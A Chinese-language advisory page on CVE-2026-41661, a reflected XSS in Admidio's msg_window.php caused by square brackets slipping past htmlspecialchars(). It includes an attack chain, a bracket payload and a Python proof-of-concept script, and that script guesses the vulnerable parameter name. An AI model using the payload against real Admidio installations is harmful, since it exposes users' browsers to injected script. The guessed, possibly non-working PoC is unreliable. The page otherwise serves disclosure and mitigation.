IPBUF安全漏洞报告
English
CVE-2026-41661 CVSS 6.1 中危

CVE-2026-41661 Admidio反射型跨站脚本漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41661
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Admidio

相关标签

XSSAdmidio反射型XSSCVE-2026-41661Web安全跨站脚本

漏洞概述

Admidio是一个开源的用户管理解决方案。在5.0.9版本之前,系统存在一个反射型跨站脚本(XSS)漏洞。未经身份验证的攻击者可以通过 `system/msg_window.php` 端点,利用输入过滤机制的缺陷,在任意Admidio用户的浏览器中执行任意JavaScript代码。该漏洞源于 `htmlspecialchars()` 未对特定字符进行编码,随后被转换函数处理为HTML标签,从而绕过安全检查。

技术细节

该漏洞位于Admidio的 `system/msg_window.php` 文件中。其核心原因在于双重处理逻辑导致的过滤绕过。首先,应用程序使用 PHP 的 `htmlspecialchars()` 函数对用户输入进行转义,以防止XSS攻击。然而,`htmlspecialchars()` 默认不编码方括号 `[]`。随后,代码调用 `Language::prepareTextPlaceholders()` 方法处理文本,该方法将方括号转换为HTML尖括号(例如将 `[` 转换为 `<`,`]` 转换为 `>`)。攻击者只需构造包含方括号的恶意载荷(如 `[img]src=x onerror=alert(1)[/img]`),即可绕过第一层过滤,在后续转换中生成可执行的HTML/JavaScript代码。由于攻击者无需认证即可诱导受害者点击特制链接,该漏洞具有较高的利用风险。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标系统运行的是Admidio且版本低于5.0.9。
STEP 2
2. 载荷构造
攻击者构造包含方括号的恶意JavaScript载荷,例如 `[img]src=x onerror=alert(1)[/img]`,旨在绕过 `htmlspecialchars()` 过滤。
STEP 3
3. 诱导攻击
攻击者向受害者发送包含恶意参数的URL(通过邮件或即时通讯),诱导其点击。
STEP 4
4. 请求处理
受害者点击链接,服务器接收请求。`htmlspecialchars()` 未过滤方括号,随后 `Language::prepareTextPlaceholders()` 将其转换为HTML标签。
STEP 5
5. 执行攻击
受害者的浏览器解析服务器返回的恶意HTML/JavaScript代码,执行攻击者预设的脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://target-admidio/system/msg_window.php" # The payload uses square brackets which are converted to angle brackets by prepareTextPlaceholders() # Example: [img]src=x onerror=alert(1)[/img] becomes <img>src=x onerror=alert(1)</img> payload = "[img]src=x onerror=alert('CVE-2026-41661')[/img]" # Assuming the vulnerable parameter is 'msg' or similar based on typical XSS patterns params = { "msg": payload } try: response = requests.get(target_url, params=params, timeout=5) if response.status_code == 200: print("Request sent successfully. If the payload is reflected and processed, XSS will trigger.") print(f"Response URL: {response.url}") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Admidio < 5.0.9

防御指南

临时缓解措施
如果无法立即升级,建议通过WAF(Web应用防火墙)规则拦截在 `system/msg_window.php` 参数中包含方括号 `[]` 的请求,或临时禁用该受影响端点的功能,直到补丁应用完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表